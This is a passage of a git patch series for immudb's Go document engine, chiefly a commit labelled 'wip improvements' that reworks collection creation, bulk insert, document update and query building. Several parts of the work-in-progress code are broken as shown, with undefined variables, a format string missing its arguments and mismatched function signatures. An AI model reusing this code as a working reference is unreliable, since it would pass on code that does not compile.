HTTP response from a DocumentServiceDocumentInsertWithResponse call -func ParseDocumentServiceDocumentInsertResponse(rsp *http.Response) (*DocumentServiceDocumentInsertResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DocumentServiceDocumentInsertResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest DocumentschemaDocumentInsertResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseDocumentServiceDocumentProofResponse parses an HTTP response from a DocumentServiceDocumentProofWithResponse call -func ParseDocumentServiceDocumentProofResponse(rsp *http.Response) (*DocumentServiceDocumentProofResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DocumentServiceDocumentProofResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest DocumentschemaDocumentProofResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseDocumentServiceDocumentSearchResponse parses an HTTP response from a DocumentServiceDocumentSearchWithResponse call -func ParseDocumentServiceDocumentSearchResponse(rsp *http.Response) (*DocumentServiceDocumentSearchResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DocumentServiceDocumentSearchResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest DocumentschemaDocumentSearchResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} diff --git a/tools.go b/tools.go index aed04802f4..dd3676d754 100644 --- a/tools.go +++ b/tools.go @@ -6,6 +6,7 @@ import ( _ "github.com/golang/protobuf/proto" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-grpc-gateway" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger" + _ "github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2" _ "github.com/mattn/goveralls" _ "github.com/ory/go-acc" _ "github.com/pseudomuto/protoc-gen-doc/cmd/protoc-gen-doc" From aa41b8f8ff6acc275d29c61e0424fa27dcbf52e9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 29 Apr 2023 10:24:59 -0300 Subject: [PATCH 0461/1062] chore(embedded/document): wip improvements Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 768 +++++++++++++----------- embedded/sql/catalog.go | 2 +- embedded/sql/engine.go | 2 +- embedded/sql/engine_test.go | 4 +- embedded/sql/stmt.go | 6 +- pkg/api/openapi/apidocs.swagger.json | 29 +- pkg/api/proto/documents.proto | 9 +- pkg/api/protomodel/docs.md | 11 +- pkg/api/protomodel/documents.pb.go | 731 +++++++++++----------- pkg/database/document_database.go | 32 +- pkg/server/db_dummy_closed.go | 3 +- pkg/server/documents_operations.go | 4 +- pkg/server/documents_operations_test.go | 82 +-- 13 files changed, 899 insertions(+), 784 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index e5779475e1..395a4d89dc 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -24,17 +24,19 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/pkg/api/protomodel" "google.golang.org/protobuf/types/known/structpb" ) const ( - DocumentIDField = "_id" - DocumentBLOBField = "_doc" + DefaultDocumentIDField = "_id" + DocumentBLOBField = "_doc" ) var ( ErrIllegalArguments = store.ErrIllegalArguments + ErrUnsupportedType = errors.New("unsupported type") ErrCollectionDoesNotExist = errors.New("collection does not exist") ErrMaxLengthExceeded = errors.New("max length exceeded") ErrMultipleDocumentsFound = errors.New("multiple documents found") @@ -43,55 +45,71 @@ var ( ErrNoMoreDocuments = errors.New("no more documents") ) -// Schema to ValueType mapping +func mayTranslateError(err error) error { + if err == nil { + return nil + } + + if errors.Is(err, sql.ErrTableDoesNotExist) { + return ErrCollectionDoesNotExist + } + + if errors.Is(err, sql.ErrNoMoreRows) { + return ErrNoMoreDocuments + } + + return err +} + +// protomodel to sql.Value mapping var ( - // ValueType to ValueExp conversion - valueTypeToExp = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { - errType := fmt.Errorf("unsupported type %v", stype) + // structpb.Value to sql.ValueExp conversion + structValueToSqlValue = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { switch stype { case sql.VarcharType: _, ok := value.GetKind().(*structpb.Value_StringValue) if !ok { - return nil, errType + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } return sql.NewVarchar(value.GetStringValue()), nil case sql.IntegerType: _, ok := value.GetKind().(*structpb.Value_NumberValue) if !ok { - return nil, errType + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } return sql.NewInteger(int64(value.GetNumberValue())), nil case sql.BLOBType: _, ok := value.GetKind().(*structpb.Value_StructValue) if !ok { - return nil, errType + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } return sql.NewBlob([]byte(value.GetStructValue().String())), nil case sql.Float64Type: _, ok := value.GetKind().(*structpb.Value_NumberValue) if !ok { - return nil, errType + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } return sql.NewFloat64(value.GetNumberValue()), nil } - return nil, errType + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } valueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) { - errType := fmt.Errorf("unsupported type %v", stype) switch stype { case sql.VarcharType: - return 256, nil + return sql.MaxKeyLen, nil case sql.IntegerType: return 0, nil case sql.BLOBType: - return 256, nil + return sql.MaxKeyLen, nil case sql.Float64Type: return 0, nil + case sql.BooleanType: + return 0, nil } - return 0, errType + return 0, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } ) @@ -101,47 +119,11 @@ type EncodedDocAudit struct { EncodedDocument []byte } -type DocAudit struct { - TxID uint64 - Revision uint64 - Document *structpb.Struct -} - -type Query struct { - Field string - Operator int - Value *structpb.Value -} - -type IndexOption struct { - Type sql.SQLValueType - IsUnique bool -} - type DocumentReader interface { Read(ctx context.Context, count int) ([]*structpb.Struct, error) Close() error } -type upsertOptions struct { - isInsert bool - tx *sql.SQLTx -} - -func (u *upsertOptions) withTx(tx *sql.SQLTx) *upsertOptions { - u.tx = tx - return u -} - -func (u *upsertOptions) withIsInsert(isInsert bool) *upsertOptions { - u.isInsert = isInsert - return u -} - -func newUpsertOptions() *upsertOptions { - return &upsertOptions{} -} - func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { engine, err := sql.NewEngine(store, opts) if err != nil { @@ -155,296 +137,500 @@ type Engine struct { sqlEngine *sql.Engine } -func (e *Engine) CreateCollection(ctx context.Context, collectionName string, idxKeys map[string]*IndexOption) error { - primaryKeys := []string{DocumentIDField} - columns := make([]*sql.ColSpec, 0) - idxStmts := make([]sql.SQLStmt, 0) +func (e *Engine) CreateCollection(ctx context.Context, collection *protomodel.Collection) error { + if collection == nil { + return ErrIllegalArguments + } + + // only catalog needs to be up to date + opts := sql.DefaultTxOptions(). + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). + WithSnapshotRenewalPeriod(0). + WithExplicitClose(true) + + sqlTx, err := e.sqlEngine.NewTx(ctx, opts) + if err != nil { + return mayTranslateError(err) + } + defer sqlTx.Cancel() + + idFieldName := DefaultDocumentIDField + if collection.IdFieldName != "" { + idFieldName = collection.IdFieldName + } + + columns := make([]*sql.ColSpec, 2+len(collection.Fields)) // add primary key for document id - columns = append(columns, sql.NewColSpec(DocumentIDField, sql.BLOBType, MaxDocumentIDLength, false, true)) + columns[0] = sql.NewColSpec(idFieldName, sql.BLOBType, MaxDocumentIDLength, false, true) // add columnn for blob, which stores the document as a whole - columns = append(columns, sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false)) + columns[1] = sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false) // add index keys - for name, idx := range idxKeys { - colLen, err := valueTypeDefaultLength(idx.Type) + for i, field := range collection.Fields { + colLen, err := valueTypeDefaultLength(field.Type.String()) if err != nil { - return fmt.Errorf("index key specified is not supported: %v", idx.Type) + return err } - columns = append(columns, sql.NewColSpec(name, idx.Type, colLen, false, false)) - idxStmts = append(idxStmts, sql.NewCreateIndexStmt(collectionName, []string{name}, idx.IsUnique)) - } - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExplicitClose(true)) - if err != nil { - return err + columns[i+2] = sql.NewColSpec(field.Name, field.Type.String(), colLen, false, false) } - defer tx.Cancel() - // add columns to collection _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, - tx, + sqlTx, []sql.SQLStmt{sql.NewCreateTableStmt( - collectionName, + collection.Name, false, columns, - primaryKeys, + []string{idFieldName}, )}, nil, ) if err != nil { - return err + return mayTranslateError(err) + } + + var indexStmts []sql.SQLStmt + + for _, index := range collection.Indexes { + if len(index.Fields) == 1 && index.Fields[0] == idFieldName { + if !index.IsUnique { + return fmt.Errorf("%w: index on id field must be unique", ErrIllegalArguments) + } + // idField is the primary key and so the index is automatically created + continue + } + + indexStmts = append(indexStmts, sql.NewCreateIndexStmt(collection.Name, index.Fields, index.IsUnique)) } // add indexes to collection - if len(idxStmts) > 0 { + if len(indexStmts) > 0 { _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, - tx, - idxStmts, + sqlTx, + indexStmts, nil, ) if err != nil { - return err + return mayTranslateError(err) } } - return tx.Commit(ctx) + err = sqlTx.Commit(ctx) + return mayTranslateError(err) } -func (e *Engine) ListCollections(ctx context.Context) (map[string][]*sql.Index, error) { - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) +func (e *Engine) ListCollections(ctx context.Context) ([]*protomodel.Collection, error) { + opts := sql.DefaultTxOptions(). + WithReadOnly(true). + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). + WithSnapshotRenewalPeriod(0). + WithExplicitClose(true) + + sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { - return nil, err + return nil, mayTranslateError(err) } - defer tx.Cancel() + defer sqlTx.Cancel() - collectionMap := make(map[string][]*sql.Index) - for _, table := range tx.Catalog().GetTables() { - _, ok := collectionMap[table.Name()] - if !ok { - collectionMap[table.Name()] = make([]*sql.Index, 0) - } - collectionMap[table.Name()] = append(collectionMap[table.Name()], table.GetIndexes()...) + tables := sqlTx.Catalog().GetTables() + + collections := make([]*protomodel.Collection, len(tables)) + + for i, table := range tables { + collections[i] = collectionFromTable(table) } - return collectionMap, nil + return collections, nil } -func (e *Engine) GetCollection(ctx context.Context, collectionName string) ([]*sql.Index, error) { - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) +func (e *Engine) GetCollection(ctx context.Context, collectionName string) (*protomodel.Collection, error) { + opts := sql.DefaultTxOptions(). + WithReadOnly(true). + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). + WithSnapshotRenewalPeriod(0). + WithExplicitClose(true) + + sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { - return nil, err + return nil, mayTranslateError(err) } - defer tx.Cancel() + defer sqlTx.Cancel() - // check if collection exists - table, err := tx.Catalog().GetTableByName(collectionName) + table, err := sqlTx.Catalog().GetTableByName(collectionName) if err != nil { - return nil, fmt.Errorf("collection %s does not exist", collectionName) + return nil, mayTranslateError(err) } - // fetch primary and index keys from collection schema - cols := table.Cols() - if len(cols) == 0 { - return nil, fmt.Errorf("collection %s does not have a field", collectionName) + return collectionFromTable(table), nil +} + +func docIDFieldName(table *sql.Table) string { + return table.PrimaryIndex().Cols()[0].Name() +} + +func collectionFromTable(table *sql.Table) *protomodel.Collection { + indexes := table.GetIndexes() + + collection := &protomodel.Collection{ + Name: table.Name(), + IdFieldName: docIDFieldName(table), + Indexes: make([]*protomodel.Index, len(indexes)), } - indexes := make([]*sql.Index, 0) - indexes = append(indexes, table.GetIndexes()...) + for i, index := range indexes { + fields := make([]string, len(index.Cols())) - return indexes, nil + for i, c := range index.Cols() { + fields[i] = c.Name() + } + + collection.Indexes[i] = &protomodel.Index{ + Fields: fields, + IsUnique: index.IsUnique(), + } + } + + return collection } -func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, addIdxKeys map[string]*IndexOption, removeIdxKeys []string) error { - updateCollectionStmts := make([]sql.SQLStmt, 0) +func (e *Engine) UpdateCollection(ctx context.Context, collection *protomodel.Collection) error { + if collection == nil { + return ErrIllegalArguments + } - sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExplicitClose(true)) + opts := sql.DefaultTxOptions(). + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). + WithSnapshotRenewalPeriod(0). + WithExplicitClose(true) + + sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { - return err + return mayTranslateError(err) } defer sqlTx.Cancel() - table, err := sqlTx.Catalog().GetTableByName(collectionName) + table, err := sqlTx.Catalog().GetTableByName(collection.Name) if err != nil { - return err + return mayTranslateError(err) } - if len(removeIdxKeys) > 0 { - // delete indexes from collection - deleteIdxStmts := make([]sql.SQLStmt, 0) - for _, idx := range removeIdxKeys { - deleteIdxStmts = append(deleteIdxStmts, sql.NewDropIndexStmt(collectionName, idx)) - } + idFieldName := docIDFieldName(table) + if collection.IdFieldName != "" && collection.IdFieldName != idFieldName { _, _, err := e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, - deleteIdxStmts, + []sql.SQLStmt{sql.NewRenameColumnStmt(table.Name(), idFieldName, collection.IdFieldName)}, nil, ) if err != nil { - return err + return mayTranslateError(err) } } - if len(addIdxKeys) > 0 { - // add index keys - for name, idx := range addIdxKeys { - colLen, err := valueTypeDefaultLength(idx.Type) - if err != nil { - return fmt.Errorf("index key specified is not supported: %v", idx.Type) - } + /* + updateCollectionStmts := make([]sql.SQLStmt, 0) - // check if index column already exists - if _, err := table.GetColumnByName(name); err == nil { - continue + if len(removeIdxKeys) > 0 { + // delete indexes from collection + deleteIdxStmts := make([]sql.SQLStmt, 0) + for _, idx := range removeIdxKeys { + deleteIdxStmts = append(deleteIdxStmts, sql.NewDropIndexStmt(collectionName, idx)) } - // add indexes as new columns to collection - updateCollectionStmts = append(updateCollectionStmts, sql.NewAddColumnStmt(collectionName, sql.NewColSpec(name, idx.Type, colLen, false, false))) + _, _, err := e.sqlEngine.ExecPreparedStmts( + ctx, + sqlTx, + deleteIdxStmts, + nil, + ) + if err != nil { + return err + } } - // add indexes to collection - for name, idx := range addIdxKeys { - updateCollectionStmts = append(updateCollectionStmts, sql.NewCreateIndexStmt(collectionName, []string{name}, idx.IsUnique)) - } + if len(addIdxKeys) > 0 { + // add index keys + for name, idx := range addIdxKeys { + colLen, err := valueTypeDefaultLength(idx.Type) + if err != nil { + return fmt.Errorf("index key specified is not supported: %v", idx.Type) + } - _, _, err := e.sqlEngine.ExecPreparedStmts( - ctx, - sqlTx, - updateCollectionStmts, - nil, - ) - if err != nil { - return err + // check if index column already exists + if _, err := table.GetColumnByName(name); err == nil { + continue + } + + // add indexes as new columns to collection + updateCollectionStmts = append(updateCollectionStmts, sql.NewAddColumnStmt(collectionName, sql.NewColSpec(name, idx.Type, colLen, false, false))) + } + + // add indexes to collection + for name, idx := range addIdxKeys { + updateCollectionStmts = append(updateCollectionStmts, sql.NewCreateIndexStmt(collectionName, []string{name}, idx.IsUnique)) + } + + _, _, err := e.sqlEngine.ExecPreparedStmts( + ctx, + sqlTx, + updateCollectionStmts, + nil, + ) + if err != nil { + return err + } } - } + */ - return sqlTx.Commit(ctx) + err = sqlTx.Commit(ctx) + return mayTranslateError(err) } // DeleteCollection deletes a collection. func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) error { - // delete collection from catalog - _, ctxs, err := e.sqlEngine.ExecPreparedStmts( + opts := sql.DefaultTxOptions(). + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). + WithSnapshotRenewalPeriod(0). + WithExplicitClose(true) + + sqlTx, err := e.sqlEngine.NewTx(ctx, opts) + if err != nil { + return mayTranslateError(err) + } + defer sqlTx.Cancel() + + _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, nil, []sql.SQLStmt{ - sql.NewDeleteFromStmt(collectionName, nil), // delete all documents from collection - sql.NewDropTableStmt(collectionName), // delete collection from catalog + sql.NewDropTableStmt(collectionName), // delete collection from catalog }, nil, ) - if err != nil { - return err - } - // wait for the transaction to be committed to ensure the collection is deleted from the catalog - committedTx := ctxs[0] - err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) + err = sqlTx.Commit(ctx) + return mayTranslateError(err) +} + +func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (txID uint64, docID DocumentID, err error) { + txID, docIDs, err := e.BulkInsertDocuments(ctx, collectionName, []*structpb.Struct{doc}) if err != nil { - return err + return 0, nil, err } - return nil + return txID, docIDs[0], nil } -func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (docID DocumentID, txID uint64, err error) { - opt := newUpsertOptions().withIsInsert(true) - docID, txID, _, err = e.upsertDocument(ctx, collectionName, doc, opt) - return -} +func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, docs []*structpb.Struct) (txID uint64, docIDs []DocumentID, err error) { + if len(docs) == 0 { + return 0, nil, ErrIllegalArguments + } -func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, queries []*Query, docToUpdate *structpb.Struct) (txID, rev uint64, err error) { - exp, err := e.generateExp(ctx, collectionName, queries) + opts := sql.DefaultTxOptions(). + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). + WithSnapshotRenewalPeriod(0) + + sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { - return 0, 0, err + return 0, nil, mayTranslateError(err) } + defer sqlTx.Cancel() - query := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(collectionName, DocumentIDField)}, - collectionName, - exp, - nil, + table, err := sqlTx.Catalog().GetTableByName(collectionName) + if err != nil { + return 0, nil, mayTranslateError(err) + } + + colNames := make([]string, len(table.Cols())) + + for i, col := range table.Cols() { + colNames[i] = col.Name() + } + + rows := make([]*sql.RowSpec, len(docs)) + + for _, doc := range docs { + if doc == nil { + return 0, nil, fmt.Errorf("%w: nil document", ErrIllegalArguments) + } + + docIDFieldName := docIDFieldName(table) + + _, docIDProvisioned := doc.Fields[docIDFieldName] + if docIDProvisioned { + return 0, nil, fmt.Errorf("%w: field (%s) should NOT be specified when inserting a document") + } + + // generate document id + docID := NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) + doc.Fields[docIDFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) + + rowSpec, err := e.generateRowSpecForDocument(table, doc) + if err != nil { + return 0, nil, err + } + + docIDs = append(docIDs, docID) + rows = append(rows, rowSpec) + } + + // add documents to collection + _, ctxs, err := e.sqlEngine.ExecPreparedStmts( + ctx, + sqlTx, + []sql.SQLStmt{ + sql.NewUpserIntoStmt( + collectionName, + colNames, + rows, + true, + nil, + ), + }, nil, ) + if err != nil { + return 0, nil, mayTranslateError(err) + } + + txID = ctxs[0].TxHeader().ID + + return txID, docIDs, nil +} + +func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Struct) (*sql.RowSpec, error) { + values := make([]sql.ValueExp, len(table.Cols())) + + for i, col := range table.Cols() { + if col.Name() == DocumentBLOBField { + bs, err := json.Marshal(doc) + if err != nil { + return nil, err + } + + values[i] = sql.NewBlob(bs) + } else { + if rval, ok := doc.Fields[col.Name()]; ok { + val, err := structValueToSqlValue(col.Type(), rval) + if err != nil { + return nil, err + } + values[i] = val + } else { + values[i] = &sql.NullValue{} + } + } + } + + return sql.NewRowSpec(values), nil +} - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) +func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, query *protomodel.Query, doc *structpb.Struct) (txID uint64, docID DocumentID, rev uint64, err error) { + if doc == nil { + return 0, nil, 0, ErrIllegalArguments + } + + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) if err != nil { - return 0, 0, err + return 0, nil, 0, mayTranslateError(err) } - defer tx.Cancel() + defer sqlTx.Cancel() - r, err := e.sqlEngine.QueryPreparedStmt(ctx, tx, query, nil) + table, err := sqlTx.Catalog().GetTableByName(collectionName) if err != nil { - return 0, 0, err + return 0, nil, 0, mayTranslateError(err) } - var results []DocumentID - for { - row, err := r.Read(ctx) - if err == sql.ErrNoMoreRows { - break - } - if err != nil { - return 0, 0, err + idFieldName := docIDFieldName(table) + + provisionedDocID, docIDProvisioned := doc.Fields[idFieldName] + if docIDProvisioned { + // inject id comparisson into query + idFieldComparissonExp := &protomodel.QueryExpression{ + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: idFieldName, + Operator: protomodel.ComparisonOperator_EQ, + Value: provisionedDocID, + }, + }, } - val := row.ValuesByPosition[0].RawValue().([]byte) - docID, err := NewDocumentIDFromRawBytes(val) - if err != nil { - return 0, 0, err + if query == nil || len(query.Expressions) == 0 { + query = &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{idFieldComparissonExp}, + } + } else { + // id comparisson as a first expression might result in faster comparisson + query.Expressions = append([]*protomodel.QueryExpression{idFieldComparissonExp}, query.Expressions...) } - results = append(results, docID) } - // close the active snapshot reader - r.Close() + queryCondition, err := e.generateSQLExpression(ctx, query, table) + if err != nil { + return 0, nil, 0, err + } - if len(results) == 0 { - return 0, 0, ErrDocumentNotFound + queryStmt := sql.NewSelectStmt( + []sql.Selector{sql.NewColSelector(collectionName, idFieldName)}, + collectionName, + queryCondition, + sql.NewInteger(1), + nil, + ) + + r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, queryStmt, nil) + if err != nil { + return 0, nil, 0, mayTranslateError(err) } + defer r.Close() - if len(results) > 1 { - return 0, 0, ErrMultipleDocumentsFound + row, err := r.Read(ctx) + if err != nil { + return 0, nil, 0, mayTranslateError(err) } - // merge the document fields - docID := results[0] + val := row.ValuesByPosition[0].RawValue().([]byte) + docID, err = NewDocumentIDFromRawBytes(val) + if err != nil { + return 0, nil, 0, err + } - // check if updated document has id field - if val, ok := docToUpdate.Fields[DocumentIDField]; ok { - // check if id field matches - if val.GetStringValue() != docID.EncodeToHexString() { - return 0, 0, ErrDocumentIDMismatch - } - } else { + if !docIDProvisioned { // add id field to updated document - docToUpdate.Fields[DocumentIDField] = structpb.NewStringValue(docID.EncodeToHexString()) + doc.Fields[idFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) } // update the document - opt := newUpsertOptions().withIsInsert(false).withTx(tx) - _, txID, rev, err = e.upsertDocument(ctx, collectionName, docToUpdate, opt) + opts := newUpsertOptions().withIsInsert(false) + _, txID, rev, err = e.upsertDocument(ctx, tx, collectionName, docToUpdate, opt) return } -func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct, opt *upsertOptions) (docID DocumentID, txID, rev uint64, err error) { +func (e *Engine) upsertDocument(ctx context.Context, tx *sql.SQLTx, collection string, query *protomodel.Query, doc *structpb.Struct, opts *upsertOptions) (txID uint64, docID DocumentID, rev uint64, err error) { if doc == nil { return nil, 0, 0, ErrIllegalArguments } - docID, err = e.getDocumentID(doc, opt.isInsert) + docID, err = e.getDocumentID(doc, opts.isInsert) if err != nil { return nil, 0, 0, err } var tx *sql.SQLTx - if opt.tx == nil { + if opts.tx == nil { // concurrency validation are not needed when the document id is automatically generated _, docIDProvisioned := doc.Fields[DocumentIDField] opts := e.configureTxOptions(docIDProvisioned) @@ -455,7 +641,7 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc } defer tx.Cancel() } else { - tx = opt.tx + tx = opts.tx } table, err := tx.Catalog().GetTableByName(collectionName) @@ -487,7 +673,7 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc collectionName, cols, rows, - opt.isInsert, + opts.isInsert, nil, ), }, @@ -609,42 +795,51 @@ func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, docum return results, nil } -// generateExp generates a boolean expression from a list of expressions. -func (d *Engine) generateExp(ctx context.Context, collection string, expressions []*Query) (sql.ValueExp, error) { - if len(expressions) == 0 { +// generateSQLExpression generates a boolean expression from a list of expressions. +func (d *Engine) generateSQLExpression(ctx context.Context, query *protomodel.Query, table *sql.Table) (sql.ValueExp, error) { + if query == nil || len(query.Expressions) == 0 { return nil, nil } - tcols, err := d.getCollectionSchema(ctx, collection) - if err != nil { - return nil, err - } + var outerExp sql.ValueExp - // Convert each expression to a boolean expression. - boolExps := make([]*sql.CmpBoolExp, len(expressions)) - for i, exp := range expressions { - fieldType, ok := tcols[exp.Field] - if !ok { - return nil, fmt.Errorf("unsupported field %v", exp.Field) - } - value, err := valueTypeToExp(fieldType.Type(), exp.Value) - if err != nil { - return nil, err + for i, exp := range query.Expressions { + if len(exp.FieldComparisons) == 0 { + return nil, fmt.Errorf("%w: query expression without any field comparisson", ErrIllegalArguments) } - colSelector := sql.NewColSelector(collection, exp.Field) - boolExps[i] = sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) - } + var innerExp sql.ValueExp - // Combine boolean expressions using AND operator. - var result sql.ValueExp - result = sql.NewCmpBoolExp(boolExps[0].OP(), boolExps[0].Left(), boolExps[0].Right()) + for i, exp := range exp.FieldComparisons { + column, err := table.GetColumnByName(exp.Field) + if err != nil { + return nil, mayTranslateError(err) + } - for _, exp := range boolExps[1:] { - result = sql.NewBinBoolExp(sql.AND, result, exp) + value, err := valueTypeToExp(column.Type(), exp.Value) + if err != nil { + return nil, err + } + + colSelector := sql.NewColSelector(table.Name(), exp.Field) + + fieldComparisonExp := sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) + + if i == 0 { + innerExp = fieldComparisonExp + } else { + innerExp = sql.NewBinBoolExp(sql.AND, innerExp, fieldComparisonExp) + } + } + + if i == 0 { + outerExp = innerExp + } else { + outerExp = sql.NewBinBoolExp(sql.OR, outerExp, innerExp) + } } - return result, nil + return outerExp, nil } func (e *Engine) getCollectionSchema(ctx context.Context, collection string) (map[string]*sql.Column, error) { @@ -797,17 +992,18 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } -func (e *Engine) getDocumentID(doc *structpb.Struct, isInsert bool) (DocumentID, error) { +func (e *Engine) mayGenDocumentID(doc *structpb.Struct, docIDFieldName string, isInsert bool) (DocumentID, error) { var docID DocumentID var err error - provisionedDocID, docIDProvisioned := doc.Fields[DocumentIDField] + provisionedDocID, docIDProvisioned := doc.Fields[docIDFieldName] if docIDProvisioned { docID, err = NewDocumentIDFromHexEncodedString(provisionedDocID.GetStringValue()) if err != nil { return docID, err } } else { + if !isInsert { return docID, fmt.Errorf("_id field is required when updating a document") } @@ -835,104 +1031,6 @@ func (e *Engine) configureTxOptions(docIDProvisioned bool) *sql.TxOptions { return txOpts } -func (e *Engine) generateRowSpecForDocument(docID DocumentID, doc *structpb.Struct, table *sql.Table) (*sql.RowSpec, error) { - var cols []string - var values []sql.ValueExp - - for _, col := range table.Cols() { - cols = append(cols, col.Name()) - - switch col.Name() { - case DocumentIDField: - // add document id to document - values = append(values, sql.NewBlob(docID[:])) - case DocumentBLOBField: - bs, err := json.Marshal(doc) - if err != nil { - return nil, err - } - - values = append(values, sql.NewBlob(bs)) - default: - if rval, ok := doc.Fields[col.Name()]; ok { - val, err := valueTypeToExp(col.Type(), rval) - if err != nil { - return nil, err - } - values = append(values, val) - } else { - values = append(values, &sql.NullValue{}) - } - } - } - - return sql.NewRowSpec(values), nil - -} - -func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, docs []*structpb.Struct) (docIDs []DocumentID, txID uint64, err error) { - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) - if err != nil { - return nil, 0, err - } - defer tx.Cancel() - - table, err := tx.Catalog().GetTableByName(collectionName) - if err != nil { - if errors.Is(err, sql.ErrTableDoesNotExist) { - return nil, 0, ErrCollectionDoesNotExist - } - return nil, 0, err - } - - var cols []string - for _, col := range table.Cols() { - cols = append(cols, col.Name()) - } - - rows := make([]*sql.RowSpec, 0, len(docs)) - - for _, 